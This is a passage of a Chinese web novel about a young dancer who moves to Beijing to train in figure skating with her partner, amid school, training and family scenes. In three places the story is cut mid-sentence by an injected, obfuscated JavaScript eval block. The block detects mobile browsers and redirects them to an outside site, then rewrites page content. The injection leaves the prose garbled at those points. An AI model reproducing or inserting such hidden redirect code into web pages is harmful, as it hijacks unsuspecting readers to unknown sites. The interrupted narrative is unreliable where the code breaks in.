像回了魂似的,贺嘉岁终于能睁开眼睛。 前方有热闹,她立马撒丫子跑:“我去看看。” 看看是什么动物,比明星开演唱会都要有排场。 她挤着人缝往里钻,一边直念叨:“尊老爱幼是中华民族的传统美德。” 一边没忘牵着爸爸往里扽,生生趁乱来到前排。 哇,真有明星。 “好可爱的大熊猫。” 她在玻璃上哈气,照着它的脸画眼睛。 贺先生介绍:“他叫星一*,今年才在滨南安家。” 有被抱在怀中的孩子牙牙学语,一声声叫:“光头仔,係光头仔。” “唔係光头仔,係得意嘅熊猫嚟。(不是光头仔,是可爱的熊猫啦。)” 熊猫胃口真大,贺嘉岁盯了十分钟,它能吃十分钟竹笋。 后来食物扫荡一空,转头抱着饲养员死乞白赖。 挤出去又费一番工夫。 贺嘉岁满身是汗,抱怨空调并不奏效。 还是飞禽大观最凉快。 虽然在室外,树冠几乎遮蔽所有日光,路上只有几粒斑驳的影子。 树与树间牵着栈道,爸爸说是松鼠的家。 但她见松鼠在枝上乱窜,自由程度堪比人猿泰山,根本不屑走栈道。 耳边全是鸟鸣。 小路的交叉口,有工作人员支着摊子。 “您好,请问有六一活动吗?”贺嘉岁撒手跑过去。 她今天参加活动上瘾,赚了一兜纪念品。 工作人员见是小朋友,掐着嗓子说:“这里可以认养小鸟。” “你们不喂了吗?” 贺先生笑着给她区别认养和领养的含义。 贺嘉岁似懂非懂:“这不是白花钱嘛。” “想认养一只试试吗?” “想。” 飞禽大观太大,整片山坡都是它的地盘,每种鸟都有自己的栖息地,贺嘉岁被带着逛了一圈。 “有合眼缘的小鸟吗?”工作人员问。 千挑万选,贺嘉岁指了指话最多的鹦鹉。 刚才路过鹦鹉笼,梁上就它一只喀喀叫,中气十足,听起来能活很久。 交费是大人的事,贺先生摸着下巴仔细了解权益,没顾上贺嘉岁已经在给鹦鹉选名牌。 工作人员说:“再取个名字吧。” 贺嘉岁自认是个取名废,给流浪动物们取的名字无外乎“嘬嘬”和“啧啧”。 但她今天有个好点子。 精致的小木牌上,她提笔歪歪扭扭—— 逢年。 叫应逢年太直白,怎么看也不像鹦鹉的名字,她掐了头,干脆叫逢年好了。 “逢年?” 贺先生皱眉,觉得这称谓熟悉。 贺嘉岁像被抓包的坏孩子,用别人的话找补:“这名字和我搭。” 也对。 老父亲豁然开朗。 回家路上,夕阳染了半边天,路边的花卉看不清本身颜色。 直到写字楼遮住所有余晖。 父女俩不得不从动物织就的乐园回到现实。 贺先生谈到去乌鲁木齐,因为错过贾女士的班机,两人连面都没见上。 贺嘉岁谈到接下来的计划,桃李杯越来越近,她得花更多的时间练功。 话题随后拐到另一条道。 “爸爸,您去过北京吗?” 贺先生摇头。 带些小炫耀,贺嘉岁从上火车说到回家门。 有好的,比如每天都举着小旗的运动服真像个导游,带他们这些南方孩子去了长城。 北京的树和滨南大同小异,只是绿得早晚不同。 长城之外,她更看见一层一层山。 她学朋友们呼喊,然后听到回音,又一次回音。 也有不好的,比如那些天总睡不够觉。 林风致替她问行了二十年中医的妈妈,说是外邪侵袭,卫气不固。 也就是水土不服。 “所以,你的搭档叫林风致?”贺先生问。 女儿总提到这个人,此行刚认识的朋友,一起在北京喝过豆汁儿的交情。 贺嘉岁摇头,嘴角自然撇下来。 她至今都记得,应逢年把她喝豆汁的表情描述为“擘大口得个窿”。 丑死了。 “他叫应……”突然意识到和鹦鹉同名,她刹住嘴,“什么玩意来着,口水比茶还多。” …… 按照北京冬运中心的计划,他们这批孩子赶不上夏训,只用等暑假再回训练基地。 贺嘉岁刚好利用这段时间准备节目。 光上大课还不够。 她和言开闲聊,听说大家多多少少都报了私教,一对一辅导,效果很好。 “但你的基本功扎实,舞感又好,”言开打量说,“请私教也是浪费钱。” 贺嘉岁坐在把杆上,有一下没一下地晃腿:“你们都在背着我进步,我好亏。” 说到底,她们为了桃李杯各自为战,是竞争对手。 眼看对手们偷偷补习,她做不到无动于衷。 找体校的舞蹈老师辅导,是她想出的办法。 当然,她也听进言开的话。 既然一节小课的费用太高,就拉上一个垫背的摊钱。 被告知留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765496|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下开小灶,应逢年有些不乐意。 “强买强卖。” “你不思进取的话,明天就会被我踹下‘小老师’之位。” 那可不行。 应逢年的求胜欲猛增,势必要守住自己的江山。 他们的舞蹈音乐相同,过动作很方便。 但因为生理差异,老师给应逢年大改了舞蹈框架,让他别学小姑娘。 应逢年始终红着耳朵,好几天绕着贺嘉岁走。 贺嘉岁实在不适应诡异的安静,首先找话讲:“穆桂英是帅气的女将军,才不是老师说的小姑娘。” “老师说的小姑娘是你。” 她一噎,底气像放跑的气球:“那,学我怎么了,我就只会教这个。” …… 同龄孩子忙着享受暑假的时候,属于舞蹈生的大考才刚刚开始。 滨南体校舞蹈班出动,高铁取道北上,一晚上刚刚好。 随行的不乏家长。 言开的爸爸妈妈都来了,应逢年的爸爸妈妈也来了。 “你爸爸又在上班吗?”言开觉得不可思议。 贺嘉岁叹气:“我爸爸走不开。” 贺先生是公司里的小老板,不是皇帝,每天除了开会就是开会,连请假都有百十双眼睛盯着。 听助理叔叔说,爸爸上次一请半个月,惹了好多人不乐意,这次连一周都不肯批。 “这样,我把爸爸妈妈借给你,”言开说,“我妈妈会化妆,爸爸厨艺堪比米其林。” 在桃李杯前,贺嘉岁就这么莫名其妙又顺理成章地认了干爸干妈。 山艺剧场很大,化妆间也大,依旧塞不下太多人。 拿到顺序,言开惊讶:“古典舞能表演一天。” “对,应逢年在下午。” 领队老师召集候场的小朋友,点一个到一个,列队走向幕后。 家长再不能跟上去,只能含着泪送别。 “为什么哭?”贺嘉岁不解。 她离开滨南去北京,来济南,爸爸和她都没有哭。 言开不想眼泪晕开漂亮的妆,一直仰着脖子,声音很紧:“我舍不得。” “总会离开的嘛,你要习惯离开。” 在离别这件事上,贺嘉岁是个老前辈。 妈妈打她记事就和爸爸分开,除了回家,满世界跑。 六年前亚运会,她们见了一面。 她那时候高兴了一整天,激动到发呕。 队伍进到满是幕布和道具的后场,光线很暗,贺嘉岁看见被光束包裹的舞台。 是群舞,场面堪称震撼。 言开沉默很久,才说:“我不是舍不得他们。” 她自认境况不比贺嘉岁容易。 爸爸妈妈不甘让她去舞蹈室这种野路子,也没有舞蹈附中的门路,一口气卡在没法咽下的地方。 她自己倒是有想法,去体操馆旁听了两节艺体课,还动身跟着练了练。 “就在咱班之前的豪华大教室。” 窸窸窣窣的声音越来越大,领队老师用眼神刀示意安静。 微光照得眼白可怕,贺嘉岁没敢回话。 “我也舍不得你,”言开咬耳朵,“不过在你去北京前,我们能一直见面。” 她阅小说无数,结尾总会提到主角们的分别。 六月,盛夏,蝉鸣。 虽然现在距离六月已经很远。 他们被时间推着走,乘不同向的车,去不同景色的路。 灯光重新打在台面上。 “古典舞曲目《长亭》,表演者:言开,选送单位:滨南市体育学校。” 5. 名为朋友的幼稚行为 从济南回滨南,贺嘉岁拢共没安生待几天。 一周和邻里朋友告别,一周收拾行李,转眼就是月底。 “最近北京是桑拿天,晚上气温又降得快,一定要及时增减衣物。”贺先生看向后视镜。 为了多陪女儿两小时,他特意给贺嘉岁买的机票。 机场远,父女俩能独处一会儿,该交代的都交代。 贺嘉岁一直点头,看窗外景物在倒退,很快就上机场高速。 她问:“您真会去北京出差吗?” 印象中,爸爸画下的饼太多,她总要求证一句。 “嗯,虽然待不了两天,”贺先生想了想,“大概等嘉岁开学,爸爸就到北京了。” 开学。 贺嘉岁想起运动服说的,他们这批孩子不仅要突击花样滑冰,文化课也不能含糊。 冬运中心早联系好了对接学校,该上小学的去师大附小,该上初中的去师大附中。 头顶指路牌的数字在缩小,提醒机场即将到达,破开葱葱郁郁的行道树,航站楼近在眼前。 汽车慢吞吞停下。 推开车门,贺嘉岁有些不安。 “爸爸,这是我第一次坐飞机。” 那么宏伟的机场大厅,那么渺小的自己,她会很无力。 即使爸爸总说,她是个很独立的小孩。 停车场的感应门时不时响铃,庆祝相逢或惋惜离别。 贺先生和她一同下车,推着两箱行李:“爸爸也是第一次送嘉岁坐飞机,但只能到安检门外。” “如果我被拐了怎么办?” 小姑娘的脑子里偶尔会有奇怪想法,大概被言开潜移默化。 “不会。”贺先生摸了摸发顶。 贺嘉岁被带着办手续,托行李,间隙吃了顿午餐,难捱程度堪比断头饭。 “真的会有吗?” 虽然以前也出过远门,去北京也不是第一次,但都有小朋友结伴。 她缺个同病相怜的伴。 贺先生指着标识牌,带她认字。 “嘉岁今天是特殊旅客,最受阿叔阿姨重视,一定不会有坏人。” 好吧,她勉强放心。 但等被工作人员带向安检口时,还是不可避免地掉眼泪。 她挣开行李,环着爸爸的腰,任由泪迹印上有些小贵的衬衫。 “我前几天才和言开说过,我习惯离开。” 这是她从小就反复经历的事。 但她直觉,这次和以前都不一样。 没有特定的任务,没有回家期限,她必须抱着走一步看一步的态度,在另一个城市学习、生活。 距离滨南两千公里的陌生城市。 贺先生拍拍她的背:“爸爸九月就会过来。” 哭到鼻子不通气,贺嘉岁突然止了泪意,摆出小大人模样:“距离九月还有两天。” “九月十日。”贺先生瞅了眼日程,打包票。 工作人员催促即将开始登机,安检口的人始终不少,他们不得不拐向应急通道。 流程没有贺嘉岁想的复杂。 两分钟过关,登机口就在眼前,随后是等待。 漫长的等待。 手表指针走过两个小格,她连板凳上的不干胶都撕了干净。 问起原因,漂亮阿姨只说,还有另一名没有家长陪伴的小朋友。 检票队伍走到尾,贺嘉岁才和口中的倒霉孩子碰头。 眼前人穿了身休闲服,头发被打理过,鼻间有颗小红痣。 她已经能够做到凭痣认人。 “应逢年,怎么是你?” 她心里说不出,有种期待落空的感觉。 “我也要去北京。” “你一个人?” 她不可避免地看向他胸前的同款UM挂牌,挂牌随动作晃了晃,好像在说:你讲废话。 机上座位是特别安排的。 为方便照看,贺嘉岁和应逢年都坐第一排。 舷窗位置不好,头顶没有小电视,他们都不说话,看着像面壁思过。 飞机转弯进入跑道,滑行,加速,让乘客享受了把不亚于过山车的极致推背感。 应逢年很快就坐不住:“你刚才很害怕吗?” 贺嘉岁摇头。 “我妈妈说,起飞时闭眼是恐高的表现。” 她放下靠背探向舷窗,力破谣言。 “哇,你看,珠江。” 一颗脑袋凑过来:“是流溪河。” “流溪河也是要流入珠江的,”贺嘉岁狡辩,“四舍五入,就是珠江。” 最近恶补数学,她刚学会四舍五入这个概念,正愁没地方炫耀。 应逢年活学活用:“四舍五入,机场还像蟑螂。” “你好恶心。” 恶心到连小食都吃不下,贺嘉岁把两片面包全扔给应逢年,并怀疑这才是他的目的。 好深的心计。 第一次坐飞机,第一次上天,哪哪都是新鲜感。 但很快,贺嘉岁就觉得没意思。 G省天气不太好,窗外全是云,灰色的云,白色的云,灰白色的云。 穿过云层,还有或大或小的颠簸。 “还没溜过冰呢,不能交代在这里。”这是她睡倒前,唯一的执念。 …… 师大附小和附中离基地不远,两校是门对门。 冬运中心本着方便训练的原则,走路上学只要五分钟。 9月1日,贺嘉岁和应逢年第一次走进附小,比上课时间要早。 但走廊不见一个身影,各班早读声在暗中较量。 “他们怎么开始上课了。” 主任把他们带进教务处,解释说:“附小和隔壁附中统一步调,已经开学半周了。” 原来九月开学不是铁的纪律。 毕竟面对一屋子老师,贺嘉岁自认没哪门成绩过得去,一声不敢吭。 倒是应逢年不知道利害,先讨水喝润了嗓子,就和教务主任聊起来。 现在是上课时间,他们得等课间再回归班级。 “主任老师,我们得去哪个班?” “你们被分在四年级(1)班,班主任是体育老师。” 听着像量身打造。 贺嘉岁问:“可以直接溜去教室吗?” 主任抿口茶,呵呵笑:“插班生,少不了自我介绍。” 这说得有道理,姓甚名谁,总要让同学知道。 但主任没告诉他们,是当着全校的面。 六个年级,三十来个班,一千多号学生,挤满整个操场。 校长的声音在教学楼间回荡:“今天,有两位新朋友加入附小的大家庭。” 贺嘉岁从没觉得这么尴尬过。 当初站上主席台领奖状,在市区展演舞蹈,也不是这样的场景。 应逢年也在犹豫:“要上台吗?” 他俩还背着书包,几天奔波暴晒,像刚下过地的农民。 贺嘉岁盯着运动鞋,话从咧开的嘴角钻出来:“敌不动,我不动。” 架不住校长招手邀请亮相,讲了相互勉励的鸡汤,最后点题:“你们是大家庭中的两员,要一起生活、成长。” 台下小朋友不管听没听懂,拍着巴掌当气氛组。 好在班主任没换场地继续折磨,只让他们介绍了姓名。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765497|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 选座位也是门学问。 教室后排空了好几桌。 据好心人说,班里转走了好些同学,桌椅板凳都没主人。 在过道分道扬镳,贺嘉岁选择当窗神,应逢年选择当门神,谁也不挨着。 但等放学,他们距离同桌只剩一个座位。 奇怪呢。 “你挪过来干什么?” “门口的拖把长小虫,垃圾桶里有垃圾。” 有理有据。 她交换理由:“窗边风大,给我吹迷糊了。” 检查清洁的班主任敲着教棍赶人:“不必要的文具留在学校,只把作业带回家。” 好吧,现在不是思考的时候。 贺嘉岁只能把他们的幼稚行为简单归结为“朋友”。 “贺嘉岁,”一个晃神,应逢年的声音已经远在门口,“放学不积极,会赶不上校车。” “走路只要五分钟,你懒过条蛇哦。” 校园喧闹,四面八方是陌生的方言,都没应逢年那声“贺嘉岁”悦耳。 哦,最后一排的抽屉里装满书,是两个相邻的抽屉。 …… 生活计划被安排得明明白白,五天文化课不能落。 下午四点放学,五点开始训练。 但对于对花滑一无所知的白纸,一定不能操之过急。 对此,一生只和冰面打过交道的教练破天荒做了几十页PPT,从花滑的定义讲到现状。 他说,这是华夏花滑最好的时代。 男单走出温哥华冬奥会无人参赛的窘境,有陈束晰和秦森河两架马车为平昌保驾护航。 女单的尹谊萱还算亮眼,是这周期的国家队大变动后的重点培养对象。 栗桐刚升组,难度比较吃亏,但有挖掘出3A的潜力。 双人滑是最人才济济的项目。 不仅人才厚,容翡/张晨旭在这两赛季多次揽获国际大赛冠军,大有在冬奥会争金夺银的优势。 相比之下,冰舞则比较荒凉。 一号金荞麦/陈新博受伤病和难度双重困扰,安雨/廖惟和叶绍瑶/季林越时常没有消息,几乎处在半失联状态。 “所以,”教练叹口气,转折说,“体育总局尝试跨界跨项选材,改善华夏花滑的结构。” 所有孩子都被带入名为使命的荣誉情绪。 他们是被选中,寄希望改变华夏花滑的人。 只有贺嘉岁皱眉。 这些高大上的话术,她在爸爸的公司里也见识过。 甚至爸爸也有这个坏习惯。 都是说得好听。 他们的心态和那群夹克衫一样,把人当成添添补补的砖,当成玩具。 像抽积木游戏。 贺嘉岁一阵头脑风暴,没头没脑地问应逢年:“你觉得呢?” 应逢年点头:“我觉得我们不该选双人滑。” 他没明白自己的意思。 贺嘉岁讨了没趣,他本来就不知道前因。 她换了个问法:“难道选冰舞,就是正确的吗?” 经教练介绍,她知道冰舞也是男女搭配的项目。 但她没想到答案,应逢年也没回答。 谁能答出这个问题呢。 冗长的理论课还没结束,贺嘉岁坐在地板上,有些犯职业病。 大好时间,开开韧带也不错。 几天没上功,自觉软开有些退步,她弹着小胯,试图激活身体。 痛感断断续续,分散心里的不平衡。 她能从几千人的竞争中拿到体校“十佳运动员”,又怎么不能从几支组合中脱颖而出呢。 她想较劲。 6. 退一万步讲 第一次上冰课,看起来和滑冰毫无关系。 教练教得细致入微,连如何系鞋带都要讲透。 “不行,”他并着手指挤入鞋帮,“给脚踝留的活动空间不够,还容易伤鞋。” 什么都是摸索着来的。 贺嘉岁在冰上挪了两步,发觉屈膝困难,又下场调整,反复如此。 应逢年说:“你练体能的方式好新颖。” 她斜斜扫了一眼:“鞋带老系不到位。” 很奇怪,无论怎么试,上场都是僵直一条。 “有没有可能,是不会滑冰的原因。” “也可能是因为冰鞋。” 怎么能把锅全揽在自己身上呢?冰场的鞋很一般,这是教练亲口说的。 只有等爸爸来北京探望,她才有机会拥有属于自己的冰鞋。 训练基地不接待散客,场上零星几个都是隶属省队的运动员,看着年纪都不大。 “她比我都小,不会还在上幼稚园?” 贺嘉岁紧紧追随那抹最瘦小的身影,感慨滑行之快。 应逢年说:“她叫常希贻。” “你认识?” “我眼睛比较好使。” 贺嘉岁跟着他的目光看去。 天花板上垂下的巨幅海报,四周柱子挂的小旗,几乎都是她的照片和名字。 2010年出生,步法和自由滑双五级,国家二级运动员。 好高的头衔。 场上的小姑娘完成步法热身,开始定点跳跃训练。 “那是什么跳跃?”贺嘉岁贴着板墙,完全沉浸在欣赏之中。 身后有道严肃的声音回答:“是阿克塞尔跳。” 虽然理论知识没学到位,但她有些印象,阿克塞尔跳是唯一向前起跳的跳跃,周数算法也有些不同。 她试问:“这是三周?” “是缺了九十度的两周半。” 六岁就能在空中旋转两周半,听着也挺厉害。 教练已经停在冰场中央,才发觉没有一人跟上。 他敲着文件夹:“都在当缩头乌龟?” “我们怕被大佬掀翻。”有人大胆开嗓,身体倒是老实待着。 冰场是标准场,一千八百平方,但似乎完全不够那些专业人士施展。 一个带进入步法的跳跃就能贯穿半场。 教练可不听理由,口哨一吹:“给你们两分钟时间集合。” 贺嘉岁一直在观察。 新手掉入满级村是小事,她不怕丢份。 但对她来说,能在冰上站稳就是奇迹,该怎么挪到冰场中心。 大家都面临这个难题。 有人自有办法,把身体绷得笔直,试着小碎步挪过去,效果堪比原地踏步。 有人学常希贻抬腿就是一滑,正在摸爬滚打中找不着北。 场上顿时吵开,像进了马戏团。 好吧,贺嘉岁承认,她偶尔还是害怕丢人。 “我能滑起来,”应逢年顺着板墙起速,撒手拐弯向教练滑去,“莫非我是天才?” “除非全世界的滑冰水平下降一千倍。”贺嘉岁在身后编排。 应逢年右腿一蹬,逐渐适应滑行姿态,回来牵起她的手腕:“走吧,我带你滑过去。” 用全场最像人的方式。 …… 跨项选材来的一共有四组八个孩子。 虽然项目不同,但现在的学习重点在基础技术,各项都没有区别。 贺嘉岁和应逢年同龄,是几人里年纪最小的,有时听教练的讲解费劲,进度也慢。 “你的浮腿控制不行。” “我已经在努力控制了。” 教练照顾不到他们时,他俩爱自己琢磨,互相当小老师。 虽然肚子里连半桶水都不够。 应逢年说出自己的看法:“你这样像甩腿。” “冰鞋很重。” 脚上的不是舞鞋,就算每天上冰,贺嘉岁都没适应过来。 像绑了两个沙袋似的。 又是一声哨子。 一个星期的练习,大家基本学会起步急停,有人的压步也略有进展,比第一次上冰体面太多。 教练在下课前说了几件事。 一是冬季运动管理中心的领导认为计划进展太慢,下周起增加冰时。 二是中秋节只放假一天,收假会有小组考核。 “这还慢。”贺嘉岁腹诽。 对于滑冰来说,她是新的不能再新的运动员。 但她学了好几年舞蹈,知道慢工才能出细活。 何况一周就基本掌握入门动作,她自认节奏已经快到飞起。 林风致和搭档还在如何刹车上纠结,两人怪来怪去。 “你居然只关心这个吗?”应逢年问。 大课结束,出入口重新开放,贺嘉岁和常希贻擦肩,她穿了身漂亮的表演服。 她收回目光:“那我该关心什么?” “教练在节后要考单足曲线。” 什么,她刚才走神没听全,教练居然考这么难的技术动作。 她撇着嘴:“单足曲线,首先要学会单足滑行,对吧?” 但她的压步完全囫囵吞枣,连应逢年都说,几乎看不到浮足离地的时候。 更可况,她那崴脚一般刻意的用刃,连自己都难受。 啊,真讨厌考试啊。 …… 贺嘉岁和在体校时的心境完全不同。 以前提到班里小考,轻松如腰、腿组合,还是比较吃力的开胯踩脚背,她都没有耗费太多注意。 她是班里数一数二的学生,从来都只有挨夸的份。 但自从学了滑冰,叹的气一天比一天多。 今日掌握单足曲线的可能性为零,距离死亡日期还有一周。 “食堂只开到七点半,你先别叹气了。”应逢年在旁边幽幽开口。 贺嘉岁看向他:“原来你在等我?” 她以为有人和自己一样焦虑,放学也不甘心走。 这话说的,应逢年跺脚以示抗议。 “我陪你坐了半个小时!” 她抱着膝盖:“半个小时也学不会单足曲线。” 她承认,自己完全被还没到来的考核牵住鼻子。 还是应逢年拖着贺嘉岁走出冰场,替她背了大包小包,又照顾情绪。 “退一万步讲,考核不及格又能怎样。”他说。 虽然没人能肯定过关与否会有什么影响。 但他们都是背井离乡的孩子,带着不只自己的理想,一定不会有太潦草的结局。 食堂的座位几乎空着,除了吹水的打饭阿姨,听不见更多声音。 贺嘉岁抿着汤:“今天的大课少了两个人,你发现了吗?” 他们有冬管中心钦点的教练,和基地的其他运动员不同班,故而说是大课,也只有八个人。 应逢年点头:“生病了吧。” 最近北京早晚凉快,T恤和外套搭着穿,学校里感冒的不少。 “我水土不服都在坚持呢。”贺嘉岁挽起袖子,手臂上的红疹还没消。 “那是为什么?” “他们不想滑了。” 这是她在卫生间里听到的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765498|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女孩握着手机和千里外的父母哭诉,不合口味的饮食,上不明白的课,教练总是凶巴巴的,没有一点比在家好。 “另外一个呢?”应逢年听得入迷,连饭都顾不上吃。 “另一个是她的搭档,”贺嘉岁说,“一听女生打退堂鼓,也自愿退队,恨唔得呢。” 放弃比坚持要容易得多,选择后者的人总是少数。 被食堂阿姨催着,晚餐吃出牢饭的感觉,贺嘉岁撑着肚子,和应逢年在基地里转半天。 他们一直抓着这个话题延伸。 应逢年喂饱蚊子,老实把半张脸埋进领口,声音像从棉花堆里挤出来:“贺嘉岁,你千万不能放弃。” “你认为我会放弃?” “我不知道,”他含糊说,“但我觉得自己有些天赋,不想浪费。” 叽里咕噜说什么呢,贺嘉岁没想回应他。 也不知是哪个训练环节出了问题,应逢年总认为自己是华夏花滑的未来。 但人嘛,习惯先把尚未发生的一切泡在糖水里。 她也觉得自己能让那些夹克衫们刮目相看。 所以无论有没有天赋,能力几何,她都会坚持。 管别人暗里笑他们起步晚,走不远。 走不远,那就走到最后。 但一番左右脑互搏,应逢年又开始“退一万步讲”。 “退一万步讲,要是……” “再退就到滨南了。”贺嘉岁打住他,谁天天说这么不吉利的话。 应逢年的话卡在半截,嘴张了几张,还是说:“我有些想家。” 之前来北京适应一周相安无事,但已经是他可以忍受的最久期限。 说到这,贺嘉岁双腿一曲,跳上路灯下的花坛,任光打在身上。 “我爸爸明天要来北京,”她炫耀,“早上带我逛故宫,下午带我逛胡同,晚上去吃铜锅涮肉。” 应逢年点头:“我不羡慕。” “你要是也想出去玩,我可以让我爸爸当你干爸。” “好。”他改口倒快。 都怪冬运中心的规定,除了亲属来京探望,他们只有上学才能离开基地,每天都要查宿,哪都不能去。 谁不羡慕、谁是傻子。 …… 但贺嘉岁画的饼一个都没实现。 贺先生的航班下午才降落首都机场,等赶到训练基地接人,天都黑了大半。 故宫早闭门谢客,胡同也阴恻恻,好几家铜锅涮肉大排长龙,正是饭点。 只有应逢年扎扎实实叫了一句“干爸”。 还是先把冰鞋的问题解决了吧。 转道去体育商厦,贺先生领着两个崽子晃悠,有些店铺打烊,一条走廊明明灭灭。 “嘉岁,你还没介绍你的好朋友呢。”他说。 来了。 终于来了。 贺嘉岁放慢脚步,像在找借口磨蹭:“不是好朋友,是搭档。” “嗯,”贺先生顺着话问,“嘉岁的搭档,叔叔该怎么称呼你?” “应逢年。” 很耳熟,不对,很眼熟。 贺先生拐进冰上用品店,付款都心不在焉。 “师傅正在开刃,磨一次刀大概能管三十到五十个小时,一定不能等打滑才采取措施。 “刀刃生锈很正常,下冰需及时用软套或毛巾擦干水分,但走路得穿硬质护套。 “还要警惕冰鞋塌帮,鞋死了别硬撑,受力点集中会伤脚腕。” 贺嘉岁和应逢年捣蒜似的直点头,像专门补课来了。 贺先生想起来。 “他就是那只鹦鹉?” 7. 你又没见过金牌 贺先生来京与合作商谈工作,能够自由支配的时间不多。 贺嘉岁平时忙着上学和训练,和爸爸相处只有一顿饭的时间。 “今天吃铜锅涮肉吧。”贺先生翻着路边的传单。 贺嘉岁摇头:“想吃菜。” 贺先生对她的反应感到奇怪:“前几天一直念着,怎么今天不想吃了?” “不敢吃肉,”她垂着眼睛,“昨天软开课前称体重,林风致被舞蹈老师训了。” “因为吃了肉?” “因为她又长高了,老师总说她营养太好。” 从五月运动员体检到今天,才不过一个夏天的时间,林风致长了小十厘米,成为班里的女巨人。 贺先生不解。 营养好有什么不对,她们都在长身体的时候。 “她是冰舞运动员,以后会有托举动作,太高、太重都会给搭档带来压力。”贺嘉岁复述老师的话。 “那咱们绝食?”贺先生笑着揉揉她的发顶,“嘉岁,咱们不能用别人的经历来惩罚自己。” 画的饼一定要兑现,就算等一个小时才排上桌。 烟筒里的炭火哔啵,锅里白汤滚着肉卷,贺嘉岁感叹终于吃了顿好的。 贺先生着实有些担心,拧着眉头问:“训练基地不给饭吃?” “吃不惯。” 听基地里的其他运动员说,放眼整个北京,没有哪个单位食堂比冬运中心的更好吃,连夹克衫们都爱光顾。 但实话说,它很难照顾所有人的口味。 “我第一次见炒青菜放辣椒,凉面放芝麻酱,鸡蛋汤黏黏糊糊,像大鼻涕。” 连月饼都是脆皮的。 涮羊肉就米饭,贺嘉岁说了很多生活感悟。 她还闹过一次笑话。 上周和爸爸坐公交车,车上阿伯拦住他们俩不让下,说得刷卡。 下车刷卡,头一回见。 “听起来,嘉岁心里的北京够不上一百分。” “勉勉强强吧,”贺嘉岁想,话不能说得太绝对,“但要是您不在,一定会扣两分。” 这日子挑得不好。 今天是中秋节,贺先生为了赶上节后的会议,只能在阖家团圆的时候离开。 凌晨的飞机。 “嘉岁还想去哪里逛逛?” 推着行李箱出发,父女俩没有吃饭时放松。 “天安门广场吧。” 来北京很多天,她只在三环外打转,还没去过传说中最神圣的地方。 但今天也没找到机会。 节日流量大,长安街的卡口严查身份证明,贺嘉岁两袖清风,出门只带了自己。 又坐一站地铁,出门是西单。 贺先生想起什么,领着贺嘉岁上楼到专柜。 电子产品专柜。 “给我的?”贺嘉岁问。 她昨天还羡慕林风致的新手机,今天就许愿成功了。 虽然和想象有些偏差,是手表。 “怎么不是小天才。” 手表被礼盒精致包装,品牌是英文,贺嘉岁不太认识。 “这只手表的功能更齐全,还能拍照。” 价格也不便宜。 “但小天才更合我的身份。” 她昨天过了教练的预考核,头一回被点名表扬。 小天才就该戴小天才。 “傻孩子。”贺先生裹着笑意。 顺手办好电话卡,联系人里第一个存进的是“爸爸”。 林风致的号码她背不全,应逢年比自己还可怜,四方小屏略显空旷。 她想问妈妈的电话。 但看爸爸心情很好,最后还是没说话。 …… 第一通电话是对方打来的。 财不外露,贺嘉岁只在每天晚上戴戴手表过瘾,一看未接来电有四五通。 来自同一个号码。 她反复默念这串数字,咬着嘴唇摁紧屏幕。 北京时间晚上八点,莫斯科应该正是白天。 可以打电话。 她回拨过去,响铃三秒就被接起。 “Zdravstvuyte(你好)。”对方的声音有些哑。 贺嘉岁有种不真实感,轻轻喊:“妈妈。” “嘉岁,”贾女士放缓语气,“好久不见。” 贺嘉岁应声。 “你爸爸说你现在有手表。” “嗯,但不是小天才。”她对这事耿耿于怀。 对面迟疑:“小天才?” 哦,妈妈出国的时候,国内还没这东西。 贺嘉岁换了话题:“您今天居然有空。” “暂时,”贾女士说,“前几天过中秋,我寄了两盒月饼给你。” “寄到……哪?” “滨南,”贾女士警觉,“你们搬家了?” “我在北京学花滑,估计几年都不会回滨南。” 对面短暂静默,随后爆发:“贺秉序放你一个人去北京?他疯了!” 无意挑起爸爸妈妈的矛盾,贺嘉岁不敢放手话语权,一个劲输出: “最初是我提的,现在已经学会很多基础动作,前天的考核也满分通过。 “我很少摔跤,但我的搭档总脚滑,教练说他像讹钱的大爷,他立马摔趴在地上讨压岁钱。 “我马上就能开始学跳跃了,您看过花滑比赛吧?像阚玉阿姨那样。” 她把所有想说的塞进电话线。 “贺嘉岁,”妈妈打断她,“你是心甘情愿的吗?” 思路突然断掉,贺嘉岁“啊”了声,不知道为什么这么问。 情不情愿是其次。 她满脑子只想证明自己是个成功的试验品。 所以她没回答。 “你当年不愿跟着妈妈练艺体,一抱进教室就开闸似的哭。” 贾女士以为,她的女儿会一辈子和体育无缘。 “我长大了,才不会开闸似的哭。” 那是什么哭法,贺嘉岁难以想象。 “是,养大只雀仔飞走咯,飞来莫斯科多好。” “妈妈,电话费贵不贵?” “妈妈的钱够和嘉岁打一辈子电话,”电话那头有人在叫她,贾女士不得不结尾,“但时间可能不够。” “那再见。” 妈妈没有挂断电话。 